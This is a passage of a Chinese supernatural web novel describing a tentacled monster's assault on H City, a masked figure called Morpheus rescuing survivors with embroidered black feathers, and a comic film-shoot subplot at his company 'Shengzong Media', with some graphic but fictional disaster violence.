齐磊抽了抽嘴角:“我倒不是舍不得这个就是想着国家搞这么大阵仗,难道是外面打进来了?”
室友咂了咂嘴:“不至于。真要打仗,能打到H市、国家腹地之一来,那咱妈(对国家的称呼)也算是要完了。”
“依我看啊,多半和诡异有关——你看,月亮变红了。”室友说着嘴巴向上撅了撅,“特委会的人来我们上课时不是说过,红月会让诡异狂暴。”
齐磊张开嘴,刚要说话,车站的广播响起,打断了他:“各位市民请注意,由于运力紧张,每人只能携带一件随身行李”
***
凌晨一点。
某辖派出所。
老民警李卫国正在给妻子打电话:“你先跟着大巴走,我忙完就去追你什么?你不走?胡闹!”
医院。
最后一批危重病人正在被抬上救护车。年轻护士小刘坚持留下:“主任,我爸妈早就撤离了,我没负担。”
电视台的转播车还在工作。
记者欧阳对着镜头说:“这里是栖港”不知道是不是信号不好的原因,画面一卡一卡的,记者说的话也听不清。
突然,一阵刺耳的电流杂音,画面彻底变成了雪花。
***
凌晨一点半。
撤离还在进行。
八十岁的赵大爷坐在自家小卖部门口,对来劝离的士兵摆手:“我在这住了六十年,要死也要死在这,反正我老伴走得早,儿孙也不在H市小伙子,你就别管我了,赶紧走吧,我这个岁数,已经活够了!”
老城区筒子楼下。
七十岁的王阿婆死活不肯上大巴。
“我孙子还没回来!”她死死抱着门框,“我要等他一起走!”
“调集全国高铁备用车组!”铁道部部长对着电话喊道,“我要H市周边200公里内所有动车组都赶到H市,快点!”
不远处,显示屏上,代表H市列车运行的绿色线条正在全国铁路网上疯狂闪烁。其它列车路线则全部亮起红灯
“开放h-112至h-119空域!”塔台里,穿着蓝色制服的管制员对着麦克风大喊,“所有民航赶紧起飞!”
窗外。
重型运输机的涡扇引擎发出震耳欲聋的轰鸣。地勤人员正将成箱的应急物资推入机舱。
***
B市,国家应急指挥中心总部。
巨型曲面屏上,卫星传回的实时画面让所有人屏住呼吸——
只见H市沿岸的海域剧烈翻腾起来,无数气泡如沸腾般从海底喷涌而出。海面上漂浮着大量海洋生物的尸体,它们呈现出熟食的状态:章鱼通体泛白,触手蜷曲、各类鱼虾肉质糜烂到脱骨,好似煮过了头
“报告总指挥!拍到异常现象!”
话音刚落,分屏亮起,画面里,一道模糊的、山岳般的庞大阴影在海雾中若隐若现。
“还剩多少群众?”总指皱紧紧眉头。
“起码九百万。”
距离行动到现在,才两小时,能撤走约两百万人已经算效率高的了——要知道正常情况下,撤离五百万人都需要一到两周的时间,还是在极高协调效率的情况下。
***
凌晨三点。
海面上的那个庞然大物终于完整的、清晰的显现在人们面前——它就像一座移动的山岳,由数不清的黑色触手组成,这些黑色触手张牙舞爪地延伸、活动。
月光照在它身上,竟也被扭曲吞噬,仿佛连光都无法逃离。
“开火!”
一声令下,岸防部队的导弹阵列同时喷出火舌,数十枚□□拖着尾焰撞向那个庞然大物。
二者相触的刹那,爆炸的火光瞬间照亮了整个海湾,冲击波震碎了沿岸建筑的玻璃。
然而待硝烟散去后,所有人都僵住了。
对方毫发无伤。
凌晨三点过二十分。
岸防部队全部撤离。
此时庞然大物距离岸边还有50米,恐怖开始了。
最先变异的是码头边的柏油路面,就像活物一样蠕动起来。接着是沿岸的仓库,铁皮屋顶像融化的巧克力般塌陷,露出里面正在沸腾的、血肉般的物质。还有附近的一台起重机,突然扭曲变形,金属支架如同麻花般拧转,可以想象,如果有人坐在里面,绝对会被活生生绞成肉泥
凌晨三点半。
庞然大物上岸了。
它巨大的身躯直接压垮了整条滨海大道,混凝土建筑像积木一样崩塌,又如多诺米效似的持续向外延伸,一直“扩张”到了百公里外。
那边尚且来不及撤离的人们被埋在废墟下,更可怕的是,这些废墟居然在“生长”。
是的,生长。
——一根断裂的钢筋突然像蛇一样昂起,刺穿了某人的胸膛;破碎的玻璃碴悬浮在空中,然后暴雨般射向人群;路灯金属杆扭曲着倒下,将一辆满载着人正在行驶的大巴车砸成铁饼,鲜红的液体从里面不断渗出
“妈妈!妈妈!”一个小女孩站在马路中央哭喊,下一秒,她脚下的斑马线突然裂开,伸出无数条苍白的手臂将她拖入地底。
强烈的失重感令小女孩大脑空白,尖叫声卡在喉咙发不出来。她感到自己正在下坠,冷风从耳边呼啸而过。或许是惊吓过度,她的胃开始痉挛。
小女孩紧紧闭着眼睛,泪水从眼角飞散,心想自己要死了,妈妈知道一定会很伤心。
突然。
“咯啦”一声轻响,有什么东西扣住了她的手腕。下坠骤然停止,拽着她脚踝的冰冷触感也同时消失。
小女孩颤抖着睁开眼,一张巨大的鸟脸正俯视着她。
“哇啊!”她吓得一哆嗦,差点又掉下去。
那“鸟”用覆盖着黑皮革的爪子(后来她才意识到那是戴着手套的手)稳稳抓着她,宽大的黑色风衣在夜风中猎猎作响。
随着越飞越高,透过逐渐明亮的猩红月光,她才看清对方不是鸟,而是一个戴着鸟嘴面具的怪人。
面具长长的喙部泛着金属冷光,圆镜片后的眼睛微微弯起,似乎在笑。
“抓紧了,小女士。”面具下传来一道优雅的男声,带着特别像她外公说话时一样的腔调。
她曾问过妈妈为什么外公说话和其他人不同,妈妈说那是外公的习惯,叫她不要跟着外公学,外公叫她学也不要听
走神间,怪人的风衣下摆好像展得更开了,漆黑的布料在风中猎猎作响,宛如渡鸦张开的羽翼。
他们的上升速度陡然加快,气流掀起她散乱的发丝。
下方传来令人毛骨悚然的窸窣声。无数只苍白手臂疯狂扭动着,指尖几乎要触及她的鞋底,却在最后一刻僵住,就像是突然感知到了什么可怖的存在,齐刷刷地颤抖起来,继而如同触电般缩回裂缝。
当她的脚尖触到路面,双腿登时一软跪坐在地。鸟面人轻轻扶住她的肩膀,动作轻柔得像在对待易碎的瓷器。
“谢、谢谢您”小女孩抽噎着说,手指还揪着鸟人面大衣的银扣子不放。
鸟面人单手抚胸行礼,金属鸟喙在月光下划出优雅的弧度:“救下您是我主的意志,我主仁慈。”
“您的主?”
“是的。”他直起身,黑手套按在面具的鸟喙上,仿佛在亲吻某个看不见的圣徽,“我主尊名——”
夜风突然静止。
小女孩看见周围飘落的尘埃凝固在半空。鸟面人的声音变得异常清晰,每个音节都像刻进她的脑海:
“苍珥万象九重终焉阒阴至尊。”
说完最后一个字时,凝固的尘埃重新飘落。远处传来建筑倒塌的轰鸣,但以他们为中心的三米范围内,连一粒砂砾都没有颤动。
鸟面人突然转头看向某个方向,面具转动时发出轻微的齿轮声。
“啊,看来有更需要帮助的人。”他遗憾的叹了声息,从大衣内袋取出一枚银质怀表看了看,又收了回去,“容我告退,亲爱的小女士。”
小女孩呆呆地看着他后退两步,然后腾空而起。
“等等!”她急切的说道,“我该怎么”
夜风中只余一缕若有若无的香气,和飘到她掌心的一片黑羽。羽毛上用金线绣着几个细小的文字:圣宗传媒。
小女孩喃喃念着“圣宗传媒”四个字,有些发懵。
这个“圣宗”和“传媒”之间,有没有个停顿?若是连在一起,勉强倒像是某个宗教的尊号,符合她对鸟面人的印象;可若是分开,“传媒”二字跟她爸爸的公司一样。
【作者有话说】
[撒花]
90-100
91 第 91 章
◎墨菲斯赠与黑羽◎
时间回到四个小时前。
2060年11月10日, 晚十一点。
宴泠昭关掉房间灯,卧室顿时陷入黑暗, 唯有窗帘缝隙间漏进一线月光,在地板上投下冷清的银痕。
走到床边拖鞋上床,然后平静地躺下。羽绒被轻覆在身上,宴泠昭合上眼,呼吸很快变得均匀而绵长
不知过了多久,宴泠昭“睁开眼”, 发现自己正站在海面上。
脚下是翻涌的黑色海水,不断冒着浑浊的气泡,发出咕嘟咕嘟的声响。海面上漂浮着无数死鱼:鳞片脱落,鱼眼翻白。
空气中弥漫着一股浓烈的腥臭味, 像是肉类腐烂的气息
抬头,一轮血月悬在天际, 将世界映得猩红。
半晌, 收回视线, 低头看向自己赤裸的双脚——没有浸湿,也没有下沉,仿佛踩在一块无形的玻璃上。
对于这一明显不正常的情况,宴泠昭却神色未变, 只是微微蹙眉。
视线移向远处, 一个巨大的阴影泡在海里, 正缓慢地向他所在的方向移动。
——那是由上千条漆黑触手纠缠而成的怪物,每一条触手表面都布满粘液, 在血色的光辉下泛着湿漉漉的光泽;触手之间不时裂开无数张布满尖牙的嘴, 滴落粘稠的液体。
宴泠昭的眼底浮现一丝冷意。
这不是诡异。
诡异再扭曲, 也仍属于这个世界的产物。而眼前的东西, 更像是从“外面”来的天外之物,带着纯粹的恶意,想要毁掉这个世界。
“轰!”
尖锐的破空声骤然响起,打断了宴泠昭的思绪。
宴泠昭仰起头,看见数枚导弹拖着尾焰呼啸而过,径直撞向怪物。爆炸的火光瞬间照亮海面,浓烟滚滚。
然而,当硝烟散去,怪物依旧蠕动着前行,毫发无伤。
宴泠昭眸光微沉。
这点攻击,对来说不值一提,当然造不成任何伤害。
以上念头刚冒出,宴泠昭的神色就变得茫然。
是什么?
正想着,场景突然切换。
宴泠昭发现自己这会不再站在海面上,而是站在城市的街道上。四周的建筑纷纷扭曲变形:柏油马路像融化的沥青一般蠕动,路灯杆拧成螺旋状,尖锐的金属刺穿逃窜的人群。商铺的玻璃橱窗裂开血盆大口,将惊叫的路人吞入其中
一块铺路石突然弹起,边缘锋利如刀,旋转着削过一名中年男人的脖颈。鲜血霎时喷溅而出,石块贪婪地吸收着血液,表面浮现出猩红的纹路。
画面血腥恐怖,即使是身经百炼的雇佣兵,看到眼前这一幅地狱绘景想必也会吐出来。
毕竟,动手的不是Ta熟知的任何一种手段,而是怪物。正如兔死狐悲,雇佣兵此时的想法便是如此。
然而,宴泠昭的内心毫无波澜。
他知道自己这样不对,但这不是现实。
若是现实,这样的场景足以让他当场吐出来,这是无法控制的生理冲动。
可现在他却能保持平静,情绪稳定,仿佛这一切与他无关,不就更证实了这只是又一场清醒梦吗。
不过即使是一场梦——宴泠昭的眉间浮现出一抹极深的冷意,眼底翻涌着一种近乎厌恶的情绪。
他也不喜欢这种混乱、不喜欢这种毫无意义的杀戮,更不喜欢,他所生活的地方、他搭建的积木,被别人这般肆意的破坏。
忽然,宴泠昭的目光一顿。
混乱的人群中,他看见一个小小的身影正跌跌撞撞地奔跑着。
那是一个小女孩,约莫八九岁的样子,扎着马尾辫,脸上沾满灰尘和泪水,一个人在路上逃跑,一边跑还一边呼唤妈妈。
在其他人看来,小女孩除了长相优秀以外,看不出别的发光点,但在宴泠昭眼中,小女孩整个人都在发光。字面意义上的发光。
——她的灵魂是那样纯粹、干净,还隐隐给他一种熟悉感。
宴泠昭眸光微动,下意识朝她迈出一步。
现实。
B市,圣宗传媒公司。
墨菲斯坐在办公桌前,手中紧握着的钢笔刚刚签下一份文件。
他穿着考究的黑色西装,领口别着一枚银质胸针,鸟嘴面具搁在桌面一角。红色的眼眸低垂,长睫在灯光下投下淡淡的阴影,整个人透着一股优雅而疏离的气质。
忽然,他的笔尖一顿。墨水在纸上晕开一小片深蓝。
男人瞳孔微微收缩,脑海中骤然闪过无数画面——沸腾的海、扭曲的建筑、奔逃的人群,以及哭喊着叫妈妈的小女孩。
三秒后,他缓缓放下钢笔,抬手抚上胸口。
“我主垂示”
他低声呢喃,随即站起身,修长的手指拿起桌上的鸟嘴面具,轻轻扣在脸上。金属鸟喙折射出冰冷的光泽,镜片后的眼眸深邃如渊。
挂在衣帽架上的黑色大衣无风自动,悄然覆上他的肩头。
当他迈出办公室,墙上的钟指针恰好指向:3:00
宴泠昭走到小女孩面前。
她摔倒了,膝盖磕在尖锐的碎石上,鲜血直流。身后,一根扭曲的钢筋正如同活物般昂起,锋利的尖端对准了她的后背。
宴泠昭的指尖动了动,钢筋顿时僵住,不再有动作。然后,他伸出手,正想扶起小女孩。
但就在这一瞬,梦境骤然模糊。
他的意识仿若被强行抽离。最后的画面里,他似乎看到一道黑影从远处飞来,宽大的黑袍如羽翼般展开
凌晨四点。H市滨海大道。
墨菲斯站在融化了一半的路灯杆上,黑大衣下摆在腥风中猎猎作响。他的鸟嘴面具转向左侧三十度,镜片后红色的眼睛锁定了一个身影——那是个用身体护着孩子的母亲,她的右腿已经被变异的路面黏住,正在一点点下沉。
“女士。”
声音响起的瞬间,女人惊恐地抬头,看见一个戴鸟嘴面具的黑影从天而降。
墨菲斯的黑手套轻轻划过她陷入路面的小腿,那些蠕动的沥青立即如触电般缩回。
“你、你是?”女人呆了下,随后颤抖着抱紧孩子,感激的说道:“谢、谢谢您!”
墨菲斯单手抚胸行礼:“救下你是我主的意志。”说完,他低下头,金属鸟喙贴近婴儿的额,轻触一下,“神明庇佑这孩子。”
女人表情迷茫,正想说什么,却见黑袍一卷,救命恩人已消失不见。只有一片黑羽飘落在婴儿怀里,羽根处用金线绣着细小的【圣宗传媒】四个字。
凌晨04:27。地铁站。
“滚开!让老子先走!”
穿貂皮的男人挥舞着高尔夫球杆,将挡路的老妇推倒在地。他正要跨过老人冲向列车,突然被一柄黑伞拦住去路。
“您似乎”墨菲斯的声音从面具后传来,带着管风琴般的共鸣,“缺了点什么。”
男人还没反应过来,就看见黑伞尖轻轻点在自己心口。一种被透视般的寒意席卷全身,他踉跄后退两步,发现救命恩人已经扶起老妇。
“您还好吗?”墨菲斯递给老人一片黑羽。
老人愣了下,眼含泪水地点了点头。没想到他之前好心帮过一把的小伙子,现在反过来欺负他。
抬手擦掉眼泪,老人下意识去接羽毛。他颤抖的手指刚触及羽毛,空中就浮现出一个箭头。
墨菲斯轻笑道:“跟着它走,它会带你去安全的地方。”
老人怔了几秒,随后反应过来,自己这是碰到贵人了。
他先是犹豫的看了眼墨菲斯,又望了望面前躁动的人群,最终选择相信墨菲斯的话,蹒跚着跟着只有他能看到的箭头往与车站相反的方向走。
没走几步,他听见身后传来一道充满磁性的轻语:“主说,忘恩者终将被遗忘”
穿貂皮的男人突然发现自己站在车站边缘,所有人都对他视而不见,包括正在驶来的列车。
凌晨04:41分。阳光小学体育馆。
墨菲斯站在歪斜的篮球架上,鸟嘴面具微微转动,俯视着下方二十多个蜷缩在角落的孩子。
体育馆的铁门正在融化,金属液体滴落在地面,发出“滋滋”的腐蚀声。年轻的女教师用身体挡在门前,双臂张开,像只护崽的母鸡。
“别怕,老师在这里”她的声音在发抖,却仍强撑着安抚孩子们。
墨菲斯的视线扫过人群,在他眼中,每个人的灵魂都呈现出不同的颜色——女教师的灵魂泛着淡金色的光,而角落里,一个胖男孩的灵魂却缠绕着浑浊的黑气。
那男孩约莫12岁,正偷偷将手伸进背包,摸出一包巧克力,迅速塞进嘴里。这是他趁着混乱,从另一个孩子手里抢来的。甚至,之前有次遇到危险,他还推了一个孩子,让那个孩子给他垫背,好在最后有惊无险。
至于那个孩子,没出事前他就经常被胖男孩欺负,这次也是敢怒不敢言。
“啊”墨菲斯的鸟嘴面具下传来一声轻叹,“这可不行。”
他轻盈地落在孩子们面前,黑袍如羽翼般展开。几个孩子吓得尖叫起来,女教师本能地挡在他们前面。
“你是谁!”女老师警惕的问道,冷汗从她额角滑落。
就墨菲斯表现出的样子,明显不是常人。女老师清楚,真动起手来,自己肯定拦不住。
“您很勇敢。”墨菲斯的声音低沉优雅,“值得嘉奖。”
他抬手打了个响指,二十一片黑羽精准的飘向每个孩子,但唯独避开了胖男孩。还有一片飘向了女老师。
羽毛落在孩子们衣领上的瞬间,他们的身体突然变得轻盈,如同蒲公英般飘向窗外,女老师也不例外。
“等等!”这时,女老师忽然发现什么,惊慌的回头看去,“安杰还没”
“我主不喜欢坏孩子。”墨菲斯打断她,金属鸟喙转向胖男孩。
胖男孩这才意识到自己被排除在外,脸色瞬间惨白。他猛地扑向最近的一个女孩,想抢她衣领上的黑羽,却被一股无形的力量弹开。
凌晨05:21分。跨海大桥。
墨菲斯将今日赠与出去的最后一片黑羽给了一名失去双腿的流浪汉。
这个曾将全部积蓄捐赠出去的男人,现在也做出了牺牲自己的选择——他是一个残疾人,对国家的贡献有限,不如将生存的机会让给其他人。
墨菲斯用伞尖挑起流浪汉的下巴,在流浪汉惊恐懵逼的眼神中,往他嘴里滴了一滴银色液体。
“圣宗传媒需要您这样的员工。”
话音刚落,流浪汉眼前一黑。
约莫就是眨眼的功夫,当流浪汉恢复视野时,发现自己正站在一个光鲜亮丽的房间里。
正发愣呢,旁边忽然响起一个甜美的声音:“欢迎入职,您的部门在17楼。”
早上六点。
H市的黎明终于到来——血月褪色成银白。将整个城市蹂躏得不堪、夺走了百万人生命的怪物消失不见。变异的建筑、路灯、石头均恢复原样。
墨菲斯站在H市最高的一栋摩天大楼的屋顶,清点收获:30片发光的黑羽正绕着他旋转,每一片都代表一个通过考验的灵魂。
与此同时。
宴泠昭睁开眼睛。
【作者有话说】
不知道写清楚没,小女孩共遭遇了两次危险,第一次是路灯,主角救了她。第二次是被拽进地底,被墨菲斯救了_(:з」∠)_
92 第 92 章
◎圣宗传媒第一部戏◎
早上六点刚过两分。
宴泠昭睁开眼, 窗外的天色还蒙着一层铅灰。
深秋的黎明来得迟,微弱的晨光透过窗帘缝隙, 在床头投下一道细长的亮线。他盯着天花板发了会儿呆,隐约记得自己昨晚做了个梦——海?怪物?还有想不起来了。
算了。左右不过是个梦。
他掀开被子,寒意立刻顺着脚底爬上来,“嘶”
好冷。
浑身控制不住地打了个哆嗦,宴泠昭面无表情地伸手拿起放在床头柜上的空调遥控器,按下启动按钮。
晚上睡觉不开空调是他最后的坚持。
然后缩回温暖的被子。
等了几分钟, 体感空气温度上来了,没那么凉了,宴泠昭才再次起床。换好衣服、洗漱完毕,日常放出八鬼。
何爷爷最先显形。不知道是不是为了顺应天气, 老人前几天换了身藏青色棉袄。此刻他看着宴泠昭,皱纹里都夹着关切:“小昭啊, 最近降温得厉害, 你多穿点, 别生病了,生病难受啊。”
“知道了,何爷爷。”宴泠昭点了点头,听话的默默从衣柜里扯出件灰色卫衣套上。
李奶奶的身影在厨房若隐若现:“昨儿剩的排骨汤我给你下碗面?对了, 空腹喝咖啡伤胃, 那刷锅水似的洋玩意儿少碰, 搞不懂你们这些年轻人为什么喜欢找苦吃,那东西喂猪, 猪都不吃。”
何爷爷闻言, 很有感触的附和道:“我孙女也喜欢喝咖啡, 说每天早上来一杯什么冰美式, 可消水肿,还能抑制食欲依我看啊,这不扯吗,大早上喝冰的就算了,还是那么个难喝的苦玩意,胃口都败坏了,能不抑制食欲吗。”
“唉,有时候还是得信咱老祖宗,老祖宗都不推荐、不吃、认为难吃的玩意,那就是真不能入口。”
李奶奶:“是啊。”
听着两老越说越起劲,宴泠昭张了张嘴,最后什么都没说,闭上了。
这时,田燕婉的声音从身旁传来:“让一下,小宴。”
宴泠昭下意识立即后退几步让开。
只见田燕婉正拿着拖把拖地
吃完早餐,于高俊(田燕婉丈夫)依旧负责洗碗。
说起来,之前是没有早餐的,只有晚餐。对宴泠昭来说,他的早餐就是一杯咖啡,午餐看情况吃,唯有晚餐是固定的。
那是从什么时候开始不仅早餐有了,午餐也有了的呢?
饭后,八鬼除在小区里没房加本身自己也宅的手机鬼,其余七鬼都出门了。
防盗门刚关上,宴泠昭趿拉着拖鞋往厨房走,准备把厨余垃圾倒掉,路过茶几时发现客厅的垃圾不见了,意识到什么,加快脚步走进厨房。
果不其然,厨房垃圾也不见了。宴泠昭转头冲门外喊道:“李奶奶!说了垃圾我自己——”
“顺手的事儿!”老人的声音从门外飘进来,“反正我都要下楼遛弯。”
宴泠昭:“”
不对劲。非常不对劲。
复活前的八鬼从来不会做这些。而且说起来玄乎,复活之前的八鬼给他的感觉是那种阴森森的。复活后的八鬼给他的感觉却不再那么冰冷了,反倒有股人情味。
***
早上七点。
宴泠昭躺在沙发上,摸出手机刷起了某音。开屏就是央视新闻的紧急直播,主持人面色凝重:
“昨夜0时0分,血月再现凌晨一点半,H市近海出现超大型诡异”
主持人说着,放出了一条视频。
画面里,漆黑的海水翻滚如沸,无数死鱼翻出白花花的肚皮浮在水面。突然,镜头剧烈晃动,只见数枚导弹呼啸着撞向海面那个由万千根漆黑触手组成的庞然大物。
然而,爆炸的火光过后,怪物毫发无损,还在继续前进。
“该诡异登陆后,半径五十公里内无机物集体异变。”
画面切换到航拍视角:整座城市像被扔进搅拌机的模型,高楼扭曲成麻花,马路像活蛇般绞碎车辆尽管打了马赛克,但柏油路面上大片大片的暗红色痕迹依然触目惊心。
宴泠昭看得直皱眉。
这诡异感觉比那三个S级诡异加起来都要恐怖。
“本台记者正在H市临时安置点”
镜头切到一个神色激动的女教师:“是一个戴着鸟嘴面具的人救了我和孩子们!他穿着黑大衣,会飞!”
记者尴尬地扶了扶耳麦,迅速转向旁边一个老人。
“贵人面上戴着一副像中世纪欧洲瘟疫医生一样的鸟嘴面具。”老人回忆着,神色难掩激奋,“他给了我这个!就是这个指引了我求生的道路。”他颤抖的手举起一片黑羽,羽根处隐约反射出一抹金光。
记者:“咳咳,老人家,镇静!”
怎么回事!怎么接连两个人都胡说八道的?
汗流浃背的记者赶忙采访下一个人。
第三个受访者是位抱着孩子的妇女,她描述自己是被人救下的,而她口中所描绘的救命恩人的形象,与前两个采访者不能说大差不差,只能说基本一样。
主持人这下真是冷汗淋漓了,赶紧切回演播室。
宴泠昭陷入沉默。
鸟嘴面具?黑大衣?
怎么跟那个仅和他有过一面之缘、他严重怀疑对方精神有问题的神经病那么像?
顿了下,宴泠昭退出某音,打开v信界面,点开与朱德宏的聊天框,却什么也没发,半晌,犹豫再三,最终退了出去。
这种时候打扰朱德宏显然不合适,以朱德宏的职阶,现在想必有得忙。于是转而给张教授发了条信息:【教授,H市那个海上诡异是什么情况?】
消息发出去后如同石沉大海。宴泠昭轻叹一声,把手机扔到沙发上。
同一时间,圣宗传媒大厦17楼。
——是的,你没看错,墨菲斯租下了整栋大厦,而在签下合同付完钱,大厦就改名了。
对了,大厦共30层楼。
值得一提的是墨菲斯原本是想买下来的,奈何大厦背后的老板不卖,只租。
至于圣宗传媒老板加员工连百人都没有,弄那么大房子做什么,不浪费吗?问就是墨菲斯不喜欢自己的地盘上有别的组织,他就是放着、空着,也不给其他人
冉和平站在洗手间的镜子前,手指微微发抖。
镜中的男人身材挺拔,双腿修长,西装裤包裹着结实的小腿肌肉。他小心翼翼地跺了跺脚,真实的触感从脚底传来,不是幻觉。
“我真的有腿了。”
这个认知让时年四十岁的男人霎时红了眼眶。
男人前四十年的人生,就没站起来过——他出生就没有腿。这个病是他一出生就有的,估计也是他成为弃婴,父母不要他的原因。
小时候,男人生活在福利院,靠的是社会救济;15岁,福利院倒闭,男人出来找工作。
他过得很苦,因为没有腿,很多事情他都做不了,还要遭受别人异样的眼光,甚至有些人不仅歧视他,还欺负他,包括不限于偷抢他的东西。
——刚出来那会,男人找不到工作,饿得只能要饭。好在后面遇到个人很好的老板人,让男人到他的面食工厂工作。
就这么做了10年。
男人25岁,面食工厂倒闭了。
同年,N市宝安区大地震,强度之大,持续时间虽然只有30秒,但就在这30秒里,全市交通、通讯、供水、供电全部中断,整个城市顷刻间几乎被夷为平地,财产损失过亿,死亡人数高达20多万,重伤10多万。
事发后,全国人民自发捐款。
男人也捐了,他将自己10年来积攒的全部积蓄交了出去。
当时拖着大腿的他去捐赠还上了电视,曾火过一段时间,有很多爱心人士想要救助他,但都被男人拒绝了。
后面随着时间的流逝,慢慢的,男人被逐渐淡忘。但男人从不后悔自己曾经的选择。
40岁这年,他所生活的H市发生了不亚于当年B市宝安区大地震的灾难,在生死存亡面前,男人毅然决然将生的机会让给其他人。
如果世上真的存在“功德”,那男人的灵魂必然闪闪发光。
不过男人也不是没有遗憾的事,要问男人遗憾什么,当属他没有一双健全的大腿了。
可是现在他的愿望实现了!他的遗憾满足了!
他有腿脚了!完好的、属于他自己的腿脚!
一想到这里,男人就激动不已。他不禁想到给予他这份奇遇的怪人——说怪,是因为对方的打扮很奇怪。搞得他第一眼见到对方,还以为是诡异。
后来知道了怪人叫墨菲斯,是他现在所工作的公司的老板。身怀特异能力。
不过这点不用别人说他也知道,毕竟那一滴不知道是什么玩意儿的液体下去他的腿脚就长出来了,放眼全世界的医疗技术,没有能做到的。
男人深呼吸一口气,下定决心一定要好好工作,以报救命之恩。
当然,如果公司做的是丧良心的事,他是绝对不会做的。至于人家把他的腿治好了他可以把这条命还出去。
默默在心里给自己打了口气,男人转身走出洗手间。
外面,一个年轻的小伙子正在等他,见他出来,眼睛一亮,“哇,冉叔,你太帅了!”
确实帅。
剪裁精良的黑色西装勾勒出宽肩窄腰,衬衫领口微微敞开,露出常年劳作形成的胸肌。以及那双绝对会有很多人直呼比自己命都长的大长腿。
这也是为什么明明一开始墨菲斯没准备把男人安排去拍摄组,但后面被林小雨看到,被要去她拍摄组的原因。
林小雨:本来还愁没有合适的男主,这不就有了!
“我、我真的能演好吗?”冉和平紧张地扯了扯领带,“我从没”
“安啦!”年轻人笑嘻嘻地推着他往摄影棚走,“咱们剧组全是新人,连导演都是第一次掌镜呢!”
推开摄影棚大门的瞬间,冉和平僵在原地。
二十多双眼睛齐刷刷看过来,其中,有个穿着白色连衣裙、扎着麻花辫的肌肉壮汉。对方浓眉大眼,肱二头肌把泡泡袖撑得几欲爆裂,正豪迈地冲他挥手:“老公!你来啦!”
“???”
冉和平的大脑当场宕机。
“惊喜吧?意外吧?”导演林小雨蹦过来,手里卷成筒的剧本啪啪拍着掌心,“咱们这部剧叫《霸道总裁的落跑甜心》,主打一个反差萌!”
她热情地拉过那位“甜心”介绍:“这是咱们的女主小西,省举重队退役的,你看这肌肉线条多完美!”
小西故作娇羞地跺了跺脚,地面随之震动:“讨厌啦导演~人家现在是小甜甜~”
冉和平:“”
他现在把腿捐回去还来得及吗?
两小时后。
“喝口水压压惊。”年轻人憋着笑递来保温杯,“其实剧本很简单的,您就记住三点:皱眉、壁咚、说“女人你这是在玩火”。”
冉和平捧着杯子的手微微颤抖:“可女主是男的啊”
还是那么个大块头。
“所以才叫反差嘛!”林小雨不知从哪冒出来,一屁股坐在旁边,“现在观众就爱看这个。再说了——”她突然压低声音,“您知道咱们公司是干什么的吗?”
冉和平摇头。
“表面是传媒公司,实际上是”林小雨神神秘秘地指了指天花板,“上面直属。咱们拍的这些视频,都是要用来筛选人才的。”
上面?国家吗?
冉和平露出恍然大悟的表情。
其实说的不是国家,是真·上面的林小雨掏出手机点开一个视频。画面里,正是H市灾难现场:一个戴鸟嘴面具的黑衣人从天而降,将处于生死危机中的被困者救下。
“这是墨菲斯先生?”
“Bingo!”林小雨打了个响指。
冉和平迷茫、退缩的眼神逐渐坚定。
又两个小时过去。
“Action!”
打板声响起。
冉和平僵硬地走向“女主”,按照剧本一把将人按在墙上。
“女、女人”他结结巴巴的念台词,“你这是在在”
“卡!”林小雨抓狂地揪住自己的双马尾,“冉叔!要霸道!霸道懂吗?想象你是在面对欺负自己的人!”
冉和平怔了怔。
那些嘲笑的嘴脸、故意踢翻他拐杖的混混、骂他残废的店员记忆如潮水般涌来。他深吸一口气,眼神骤然变得凌厉。
第二次拍摄时,他一把扣住小西的手腕,将人狠狠抵在落地窗上。
“女人。”低沉的声音里带着危险的意味,“你这是在玩火。”
整个片场鸦雀无声。而小西的脸居然真的红了。
“完蛋”充当场记的女生捂住胸口,“我居然觉得好帅”
林小雨盯着监视器激动得发抖:“就是这个感觉!快快快,下一场吻戏准备!”
冉和平:“???”
剧本里有这段吗?!他怎么没看到!
“等——”
“哎呀,冉叔,我知道你想说什么,对,没错,就是我刚加的!当然,不是真亲,到时候会错位的。”
冉和平:“还有个问题。”
林小雨:“咋啦?”
冉和平:“我们这剧是不是触及宗教了?”
冉和平说的都算是委婉的了——哪是触及啊,根本就是在大力宣传!含教量比男女主之间的爱恨情仇都要多。
【作者有话说】
[撒花]
93 第 93 章
◎灾后情况◎
“咔!”
林小雨举着喇叭喊停, 小跑到冉和平面前:“冉叔,你这场戏的眼神不对!王天赐可是害得你差点家破人亡。还有, 你应该带着刻骨仇恨说出台词,而不是念天气预报!”
冉和平点了点头,抬手擦掉额上的汗,低头再次研读剧本。
表面上,这是个俗套的霸总故事:他饰演的上官集团继承人上官海,因商业竞争对王家少爷王天赐说出经典台词“天凉了, 让王氏集团破产吧”。
然后王家就真的破产了。
但事实绝非如此。
翻开剧本背面附带的“主要剧情线”,整个故事就变得毛骨悚然——
三年前,上官集团与王氏集团争夺滨海新区地标项目。后已王家竞标失败告终,表面上王家愿赌服输, 这件事就这么过去了。
然而背地里,王家祭出了他们供奉的“蚀日尊者”。当天夜里, 上官海开着车经过跨海大桥, 途中突然失控, 险些翻车坠海。
“起初,上官海以为是意外。”林小雨凑过来解释道,“真相是他家供奉的“苍珥万象九重终焉阒阴至尊”在保他。”
冉和平:“”该说不说,好长的名号!和前面那个蚀日尊者形成鲜明对比。
默默翻到下一页:
上官海的父亲上官诚年轻时执意留学海外, 彻底摒弃了家族信仰。回国后甚至把祖传的神龛扔进仓库, 导致上官家整整二十年没有祭祀至尊。
“所以几次遇险, 男主尽管没什么大碍,但多少都会受点伤, 是至尊故意的?”冉和平抽了抽嘴角, 说道。
“答对一半。”林小雨笑嘻嘻地竖起手指, “主要是他家老爷子一直在续香火, 不然男主开头就大结局了。”
拍了一上午的戏,中午休息。
冉和平捧着保温杯,研究手上的“上官家大事发展(主要剧情)脉络”大纲版剧本:
1.上官海一个月内遭遇18起“意外”/寄希望于孙儿的老爷子发现家里唯一的独苗拜神也是哄他的,其实自己根本不信,以至信仰不纯,导致神明不愿替他解除诅咒,“意外”还在接连发生,气得晕倒
2.病榻前,上官海发毒誓重拾信仰
3.次日,王天赐的妹妹突然曝出吸毒丑闻
4.一周后,王家海外资产被神秘冻结
冉和平不知不觉看入神了,别说,这剧情跌宕起伏,怪吸引人的。
一小时后,场务跑来通知开拍。
下午的第一场戏是落跑甜心女主小西被追杀的关键剧情:表面上是上官海强取豪夺导致女主逃跑,实则是王家派出的邪教徒在追杀这个意外撞破祭祀现场的女孩。
“Action!”
冉和平深吸一口气,努力让自己进入状态。
